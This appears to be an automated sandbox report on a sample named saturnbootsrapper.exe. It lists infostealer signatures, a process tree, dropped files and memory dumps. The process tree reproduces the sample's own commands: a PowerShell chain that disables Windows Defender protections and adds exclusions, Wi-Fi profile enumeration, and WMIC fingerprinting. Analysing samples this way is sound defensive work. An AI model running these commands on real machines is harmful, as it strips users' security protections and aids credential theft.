Analysis
- max time kernel
270s - max time network
271s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/06/2024, 12:22
General
- Target Saturn Beta/saturnbootsrapper.exe
- Size 52.2MB
- Sample240603-pjwbfafd96
- SHA256 80c31b93b57a755b509f2ccc4152dbd825e6829eea8675fe18d02948f42bfbda
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops startup file 1 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"2⤵
- Drops startup file
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid4⤵
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"C:\Users\Admin\AppData\Local\Temp\Saturn Beta\saturnbootsrapper.exe"2⤵
- Loads dropped DLL
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdd363ab58,0x7ffdd363ab68,0x7ffdd363ab782⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1752 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2232 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2864 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2896 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4336 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4480 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4632 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4556 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4808 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4852 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4908 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5008 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3244 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=2432 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4428 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4412 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2272 --field-trial-handle=1936,i,16800594828687211497,10423528108224306395,131072 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
49943f68-583b-437c-a281-9cceaefd813f.tmp
the-real-index
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
TransportSecurity
c9535217-acc0-4eab-93be-67d6a32c43b4.tmp
Preferences
Preferences
Secure Preferences
index.txt
index.txt
index.txt~RFe58c1f3.TMP
Local State
Local State
Module Info Cache
Module Info Cache~RFe59d901.TMP
thumbcache_idx.db
_raw_cbc.pyd
_raw_cfb.pyd
_raw_ecb.pyd
_raw_ofb.pyd
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp312-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
md.cp312-win_amd64.pyd
md__mypyc.cp312-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
_psutil_windows.pyd
pyexpat.pyd
python3.dll
python312.dll
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_yamjvbe3.ff5.ps1
cc's.txt
history.txt
saturnbootsrapper.exe_extracted.zip
memory/1152-230-0x000001DB511C0000-0x000001DB511E2000-memory.dmp
memory/1436-339-0x00007FFDD3B40000-0x00007FFDD3B4C000-memory.dmp
memory/1436-307-0x00007FFDD5270000-0x00007FFDD527C000-memory.dmp
memory/1436-207-0x00007FFDD2B40000-0x00007FFDD2DC3000-memory.dmp
memory/1436-205-0x00007FFDD2DE0000-0x00007FFDD2DF2000-memory.dmp
memory/1436-204-0x00007FFDD2E00000-0x00007FFDD2E0D000-memory.dmp
memory/1436-203-0x00007FFDD3B30000-0x00007FFDD3B3C000-memory.dmp
memory/1436-202-0x00007FFDD3B40000-0x00007FFDD3B4C000-memory.dmp
memory/1436-201-0x00007FFDD3B50000-0x00007FFDD3B5B000-memory.dmp
memory/1436-199-0x00007FFDD3B70000-0x00007FFDD3B7C000-memory.dmp
memory/1436-198-0x00007FFDD3B80000-0x00007FFDD3B8C000-memory.dmp
memory/1436-197-0x00007FFDD3B90000-0x00007FFDD3B9E000-memory.dmp
memory/1436-196-0x00007FFDD3BA0000-0x00007FFDD3BAD000-memory.dmp
memory/1436-195-0x00007FFDD3BB0000-0x00007FFDD3BBC000-memory.dmp
memory/1436-194-0x00007FFDD3BC0000-0x00007FFDD3BCB000-memory.dmp
memory/1436-193-0x00007FFDD4510000-0x00007FFDD451C000-memory.dmp
memory/1436-192-0x00007FFDD4640000-0x00007FFDD464B000-memory.dmp
memory/1436-191-0x00007FFDD5270000-0x00007FFDD527C000-memory.dmp
memory/1436-190-0x00007FFDDD440000-0x00007FFDDD44B000-memory.dmp
memory/1436-180-0x00007FFDD3460000-0x00007FFDD3B25000-memory.dmp
memory/1436-212-0x00007FFDE40F0000-0x00007FFDE40FD000-memory.dmp
memory/1436-213-0x00007FFDD2AD0000-0x00007FFDD2AFE000-memory.dmp
memory/1436-208-0x00007FFDDA730000-0x00007FFDDA757000-memory.dmp
memory/1436-209-0x00007FFDDF850000-0x00007FFDDF85B000-memory.dmp
memory/1436-206-0x00007FFDD2DD0000-0x00007FFDD2DDC000-memory.dmp
memory/1436-200-0x00007FFDD3B60000-0x00007FFDD3B6B000-memory.dmp
memory/1436-283-0x00007FFDD3460000-0x00007FFDD3B25000-memory.dmp
memory/1436-328-0x00007FFDE3C20000-0x00007FFDE3C32000-memory.dmp
memory/1436-335-0x00007FFDDF850000-0x00007FFDDF85B000-memory.dmp
memory/1436-344-0x00007FFDD2AD0000-0x00007FFDD2AFE000-memory.dmp
memory/1436-343-0x00007FFDD2DD0000-0x00007FFDD2DDC000-memory.dmp
memory/1436-342-0x00007FFDD2DE0000-0x00007FFDD2DF2000-memory.dmp
memory/1436-341-0x00007FFDD2E00000-0x00007FFDD2E0D000-memory.dmp
memory/1436-340-0x00007FFDD3B30000-0x00007FFDD3B3C000-memory.dmp
memory/1436-181-0x00007FFDE3270000-0x00007FFDE327B000-memory.dmp
memory/1436-338-0x00007FFDD3B50000-0x00007FFDD3B5B000-memory.dmp
memory/1436-337-0x00007FFDD3B60000-0x00007FFDD3B6B000-memory.dmp
memory/1436-336-0x00007FFDD3B70000-0x00007FFDD3B7C000-memory.dmp
memory/1436-334-0x00007FFDE3270000-0x00007FFDE327B000-memory.dmp
memory/1436-333-0x00007FFDE2390000-0x00007FFDE23A4000-memory.dmp
memory/1436-332-0x00007FFDE3350000-0x00007FFDE3368000-memory.dmp
memory/1436-331-0x00007FFDD3BD0000-0x00007FFDD3D4E000-memory.dmp
memory/1436-330-0x00007FFDE3BF0000-0x00007FFDE3C14000-memory.dmp
memory/1436-329-0x00007FFDD2F30000-0x00007FFDD3459000-memory.dmp
memory/1436-327-0x00007FFDD46C0000-0x00007FFDD46F5000-memory.dmp
memory/1436-326-0x00007FFDE3EF0000-0x00007FFDE3F06000-memory.dmp
memory/1436-325-0x00007FFDD4570000-0x00007FFDD463D000-memory.dmp
memory/1436-324-0x00007FFDDA760000-0x00007FFDDA793000-memory.dmp
memory/1436-323-0x00007FFDE3F10000-0x00007FFDE3F1D000-memory.dmp
memory/1436-322-0x00007FFDE3F20000-0x00007FFDE3F2D000-memory.dmp
memory/1436-321-0x00007FFDE4050000-0x00007FFDE4069000-memory.dmp
memory/1436-320-0x00007FFDE40F0000-0x00007FFDE40FD000-memory.dmp
memory/1436-319-0x00007FFDE4070000-0x00007FFDE409D000-memory.dmp
memory/1436-318-0x00007FFDE4100000-0x00007FFDE411A000-memory.dmp
memory/1436-317-0x00007FFDE4120000-0x00007FFDE412F000-memory.dmp
memory/1436-316-0x00007FFDE4130000-0x00007FFDE4155000-memory.dmp
memory/1436-315-0x00007FFDDA730000-0x00007FFDDA757000-memory.dmp
memory/1436-314-0x00007FFDD3B80000-0x00007FFDD3B8C000-memory.dmp
memory/1436-313-0x00007FFDD3B90000-0x00007FFDD3B9E000-memory.dmp
memory/1436-312-0x00007FFDD3BA0000-0x00007FFDD3BAD000-memory.dmp
memory/1436-311-0x00007FFDD3BB0000-0x00007FFDD3BBC000-memory.dmp
memory/1436-310-0x00007FFDD3BC0000-0x00007FFDD3BCB000-memory.dmp
memory/1436-309-0x00007FFDD4510000-0x00007FFDD451C000-memory.dmp
memory/1436-308-0x00007FFDD4640000-0x00007FFDD464B000-memory.dmp
memory/1436-211-0x00007FFDD2B00000-0x00007FFDD2B29000-memory.dmp
memory/1436-306-0x00007FFDDD440000-0x00007FFDDD44B000-memory.dmp
memory/1436-304-0x00007FFDD2E10000-0x00007FFDD2F2B000-memory.dmp
memory/1436-345-0x00007FFDD2B00000-0x00007FFDD2B29000-memory.dmp
memory/1436-346-0x00007FFDD2B40000-0x00007FFDD2DC3000-memory.dmp
memory/1436-107-0x00007FFDD3460000-0x00007FFDD3B25000-memory.dmp
memory/1436-118-0x00007FFDE4120000-0x00007FFDE412F000-memory.dmp
memory/1436-123-0x00007FFDE4070000-0x00007FFDE409D000-memory.dmp
memory/1436-122-0x00007FFDE4100000-0x00007FFDE411A000-memory.dmp
memory/1436-117-0x00007FFDE4130000-0x00007FFDE4155000-memory.dmp
memory/1436-147-0x00007FFDE40F0000-0x00007FFDE40FD000-memory.dmp
memory/1436-149-0x00007FFDE3F20000-0x00007FFDE3F2D000-memory.dmp
memory/1436-148-0x00007FFDE4050000-0x00007FFDE4069000-memory.dmp
memory/1436-151-0x00007FFDE3F10000-0x00007FFDE3F1D000-memory.dmp
memory/1436-153-0x00007FFDDA760000-0x00007FFDDA793000-memory.dmp
memory/1436-157-0x00007FFDD4570000-0x00007FFDD463D000-memory.dmp
memory/1436-159-0x00007FFDD2F30000-0x00007FFDD3459000-memory.dmp
memory/1436-165-0x00007FFDD46C0000-0x00007FFDD46F5000-memory.dmp
memory/1436-164-0x00007FFDE3EF0000-0x00007FFDE3F06000-memory.dmp
memory/1436-169-0x00007FFDD3BD0000-0x00007FFDD3D4E000-memory.dmp
memory/1436-168-0x00007FFDE3BF0000-0x00007FFDE3C14000-memory.dmp
memory/1436-174-0x00007FFDE2390000-0x00007FFDE23A4000-memory.dmp
memory/1436-173-0x00007FFDE3350000-0x00007FFDE3368000-memory.dmp
memory/1436-163-0x00007FFDE3C20000-0x00007FFDE3C32000-memory.dmp
memory/1436-162-0x000001CD6F2A0000-0x000001CD6F7C9000-memory.dmp
memory/1436-183-0x00007FFDD2E10000-0x00007FFDD2F2B000-memory.dmp
memory/2128-404-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-400-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-399-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-398-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-410-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-409-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-408-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-407-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-406-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/2128-405-0x0000023B7EA20000-0x0000023B7EA21000-memory.dmp
memory/3044-583-0x00007FFDD2C70000-0x00007FFDD2C84000-memory.dmp
memory/3044-515-0x00007FFDE33E0000-0x00007FFDE3405000-memory.dmp
memory/3044-580-0x00007FFDD2E30000-0x00007FFDD2E54000-memory.dmp
memory/3044-575-0x00007FFDD1F00000-0x00007FFDD2429000-memory.dmp
memory/3044-565-0x00007FFDD2F90000-0x00007FFDD3655000-memory.dmp
memory/3044-525-0x00007FFDD2EC0000-0x00007FFDD2F8D000-memory.dmp
memory/3044-523-0x00007FFDD46C0000-0x00007FFDD46F3000-memory.dmp
memory/3044-522-0x00007FFDDD440000-0x00007FFDDD44D000-memory.dmp
memory/3044-521-0x00007FFDDF850000-0x00007FFDDF85D000-memory.dmp
memory/3044-520-0x00007FFDE2390000-0x00007FFDE23A9000-memory.dmp
memory/3044-519-0x00007FFDE3BF0000-0x00007FFDE3BFD000-memory.dmp
memory/3044-517-0x00007FFDE3350000-0x00007FFDE336A000-memory.dmp
memory/3044-518-0x00007FFDDA730000-0x00007FFDDA75D000-memory.dmp
memory/3044-581-0x00007FFDD2CB0000-0x00007FFDD2E2E000-memory.dmp
memory/3044-516-0x00007FFDE3C00000-0x00007FFDE3C0F000-memory.dmp
memory/3044-514-0x00007FFDD2F90000-0x00007FFDD3655000-memory.dmp
memory/3044-582-0x00007FFDD2C90000-0x00007FFDD2CA8000-memory.dmp
memory/3044-524-0x00007FFDD1F00000-0x00007FFDD2429000-memory.dmp
memory/3044-584-0x00007FFDD5270000-0x00007FFDD527B000-memory.dmp
memory/3044-585-0x00007FFDD2C40000-0x00007FFDD2C67000-memory.dmp
memory/3044-576-0x00007FFDD2EC0000-0x00007FFDD2F8D000-memory.dmp
memory/3044-530-0x00007FFDDA730000-0x00007FFDDA75D000-memory.dmp
memory/3044-527-0x00007FFDD2F90000-0x00007FFDD3655000-memory.dmp
memory/3044-528-0x00007FFDD2EA0000-0x00007FFDD2EB2000-memory.dmp
memory/3044-529-0x00007FFDD2E60000-0x00007FFDD2E95000-memory.dmp
memory/3044-526-0x00007FFDD4520000-0x00007FFDD4536000-memory.dmp